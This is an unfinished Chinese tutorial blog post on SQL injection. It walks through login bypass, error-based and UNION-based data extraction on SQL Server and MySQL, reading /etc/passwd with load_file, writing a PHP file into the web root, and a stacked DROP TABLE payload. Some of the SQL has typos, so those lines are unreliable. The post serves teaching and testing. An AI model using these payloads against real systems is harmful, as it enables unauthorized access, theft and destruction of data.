【安全】SQL注入(未完)

六眼飞鱼酱① 提交于 2020-01-14 11:23:20

1 SQL注入原理

用户名使用“ 'or 1=1–”登录,密码随意填写或不填

正常执行
select count(*) from admin where username='admin' and password='password'
输入特殊用户
select count(*) from admin where username=' ' or 1=1--'and password=' '
此时password被注释,而前面永远为真,也就可以顺利完成登录。
同样可以利用这种方式执行其他命令
' or 1=1 ; drop table admin --’
因为SQLServer支持多语句执行,所以这里可以直接删除admin表

SQL注入漏洞的形成原因:用户输入的数据被SQL解释器执行

2 注入漏洞分类

2.1 数字型注入

当参数为整型时,如id、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
假设有URL
HTTP://www.xxx.com/test.php?id=8
可以猜测SQL语句为:
select * from table where id = 8
测试步骤如下:
1.
URL:HTTP://www.xxx.com/test.php?id=8'
SQL:select * from table where id = 8'
这样的语句肯定出错,导致脚本程序无法从数据库中正常获取数据,从而使原来的页面出现异常。
2.
URL:HTTP://www.xxx.com/test.php?id=8 and 1=1
SQL:select * from table where id = 8 and 1=1
语句执行正常,返回数据与原始请求无任何差异
3.
URL:HTTP://www.xxx.com/test.php?id=8 and 1=2
SQL:select * from table where id = 8 and 1=2
语句执行正常,但无法查询数据,因为1=2始终为假。所以返回数据与原始请求有差异。

如果以上三个步骤全都满足,则可能存在SQL注入漏洞。

这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型。

2.2 字符型注入

字符型和数字型最大的区别在于,字符串类型一般要使用单引号来闭合。

  • 数字型例句
    select * from table where id=8
  • 字符型例句
    select * from table where username = 'admin'

当攻击者进行SQL注入时,如果输入admin and 1=1将无法注入,因为会被当做查询字符串
select * from table where username = 'admin and 1=1'
这时如果想要进行注入,就必须注意字符串闭合问题,如果输入admin’ and 1=1- - 就可以继续注入。
SQL语句:select * from table where username = 'admin' and 1=1 --'
只要是字符串类型注入都必须闭合单引号以及注释多余代码。
例如
update person set username = 'username',set password='password' where id=1
对SQL语句注入
update person set username = 'username' , set password=' ' + (select @@version)+' ' where id=1
注:数据库不同,字符串连接符不同,SQLServer为+,Oracle为||,mysql为空格

2.3 SQL注入分类

  • POST注入:注入字段在POST数据中
  • Cookie注入:注入字段在Cookie数据中
  • 延时注入:使用数据库延时特性注入
  • 搜索注入:注入出为搜索的地点
  • base64:注入字符串需要经过base64加密

3.常见数据库注入

  • 查询数据
  • 读写文件
  • 执行命令

3.1 SQL Server

3.1.1 利用错误消息提取信息

  1. 枚举当前表及列
    现有一张表
creat table user(
	id int not null identity(1,1),
	username varchar(20) not null,
	password varchar(20) not null,
	privs int not null,
	email varchar(50)
)

查询root用户详细信息
select * from users where username = 'root'
攻击者可以利用SQLServer特性来获取敏感信息
' having 1=1 --
最终执行
select * from users where username='root' and password='root' having 1=1 --'
那么SQL 执行器将抛出一个错误

消息8120,级别16,状态1,第2行
选择列表中的列'user.id'无效,因为该列没有包含在聚合函数或GROUP BY子句中

可以发现当前表名为user,并且存在ID列名。
select * from users where username='root' and password='root' group by user.id having 1=1 --'

消息8120,级别16,状态1,第1行
选择列表中的列'user.username'无效,因为该列没有包含在聚合函数或GROUP BY子句中

可以看到执行器又抛出了username列名,由此可以一次递归查询,直到没有返回为止,这样就可以利用having子句查询出所有列名。

  1. 利用数据类型错误提取数据
    如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常。
    select * from users where username = 'root' and password='root' and 1>(select top 1 username from users)
消息245 级别16 状态1 第2行
在将varchar值'root'转换成数据类型int时失败

利用此方式递归推导出所有的账户信息。
select * from users where username = 'root' and password='root' and 1>(select top 1 username from users where username not in ('root'))

3.1.2 获取元数据

SQL Server提供了大量视图,便于取得元数据。
取得当前数据库表:
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student'
在这里插入图片描述

3.1.3 Order by子句

select id,username,password from users where id=1
SQL执行正常

select id,username,password from users where id=1 Order by 1
按照第一列排序,执行正常

select id,username,password from users where id=1 Order by 2
按照第二列排序,执行正常

select id,username,password from users where id=1 Order by 3
按照第三列排序,执行正常

select id,username,password from users where id=1 Order by 4

消息108 级别16 状态1 第1行
ORDER BY位置号4超出了选择列表中项数的范围。

得知列数后,攻击者通常会配合UNION关键字进行下一步攻击。

3.1.4 UNION 查询

  • 所有查询中的列数必须相同
  • 数据类型必须兼容

例一:联合查询探测字段数

正常语句:
select id,username,password,sex from users where id=1
使用UNION查询对id字段注入
select id,username,password,sex from users where id=1 union select null
数据库发出异常

消息205 级别16 状态1 第1行
使用UNION、INTERSECT或EXCEPT运算符合并的所有查询必须在其目标列表中有相同数目的表达式

递归查询,直到无错误产生,可得知User表查询的字段数:
union select null,null
union select null,null,null

例二:联合查询敏感信息

如果得知列数为4,可以使用下列语句继续注入
id=5 union select 'x',null,null,null from sysobject where xtype='U'
如果第1列数据类型不匹配,数据库将会报错,这是可以继续递归查询,直到语句正常执行为止。
id=5 union select null,'x',null,null from sysobject where xtype='U'
id=5 union select null,null,'x',null from sysobject where xtype='U'
语句执行正常,代表数据类型兼容,就可以将x换为sql语句,查询敏感信息。

3.1.5 无辜的函数

  • select suser_name():返回用户的登录标识名
  • select user_name():基于指定的标识号返回数据库用户名
  • select db_name():返回数据库名称
  • select is_member(‘db_owner’):是否为数据库角色
  • select convert(int,‘5’):数据类型转换
    在这里插入图片描述

3.1.6 危险的存储过程

在这里插入图片描述

3.1.7 动态执行

SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句
exec('select username,password from users')
exec('select username,password fro'+'m users')

3.2 MySQL

3.2.1 mysql中的注释

  • #:注释从#到行尾
  • --:注释从--序列到行位,使用此注释时,需要跟上一个或多个空格tab
  • /* */:注释为序列中间的字符。
    /**/存在一个特点:
    select id/*!55555,username*/from users
    执行结果如下:
+------+----------+
|  id  | username |
+------+----------+
|   1  |  admin   |
|   1  |  xxser   |
+------+----------+

发现/**/注释没有起任何作用,因为其中的!是有特殊意义的。/*!55555,username*/的意思是,当mysql版本号大于等于5.55.55,语句会被执行,如果!后不加入版本号,语句将直接执行。

3.2.2 获取元数据

  1. 查询用户数据库名称
    select SCHEMA_NAME from INFORMATION_SCHEMA.SHEMATA LIMIT 0,1·
    语句含义:从INFORMATION_SCHEMA.SCHEMATA表中查询出第一个数据库的名称
  2. 查询当前数据库表
    select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DAABASE()) limit 0,1
    语句含义:从 INFORMATION_SCHEMA.TABLES 中查询当前数据库表,并且只显示第一条数据
  3. 查询指定表的所有字段
    select COLUMN_NAME from INFROMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1
    语句含义:从INFROMATION_SCHEMA.COLUMNS中查询TABLE_NAME为Student的字段名,显示第一条。

3.2.3 UNION查询

分别在SQL Server、MySQL执行余下语句
select id,username,password from users union select 1,2,3
Oracle执行
select id,username,password from users union select 1,2,3 from dual
SQL Server:语句错误,数据类型不匹配
MySQL:正常
Oracle:语句错误,数据类型不匹配
所以,在SQL Server和Oracle中,最好使用null。

3.3.4 MySQL函数利用

  1. load_file()函数读文件操作
    union select 1,load_file('/etc/passwd'),3,4,5,6 #
    如果不允许单引号
    union select 1,load_file(0x2f6574632f706173737764),3,4,5,6 #
    0x2f6574632f706173737764/etc/passwd的十六进制。
  2. into outfile写文件操作
    写入文件:
    select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
    select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
  3. 连接字符串
    (1)concat()函数
    select name from student where id=1 union select concat (user(),',',database(),',',version());
    结果如下:
+----------------------------------------------+
|  name                                        |
+----------------------------------------------+
| admin                                        |
| xxser                                        |
| root@localhost,myschool,5.1.50-community-log |
+----------------------------------------------+

可以发现三个值已经成为一列,并且以逗号隔开,在concat函数中逗号也可以用十六进制0x2c表示

(2) concat_ws()函数
select name from student where id=1 union select concat_ws(0x2c,user(),database(),version());

3.2.5 显错式注入

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!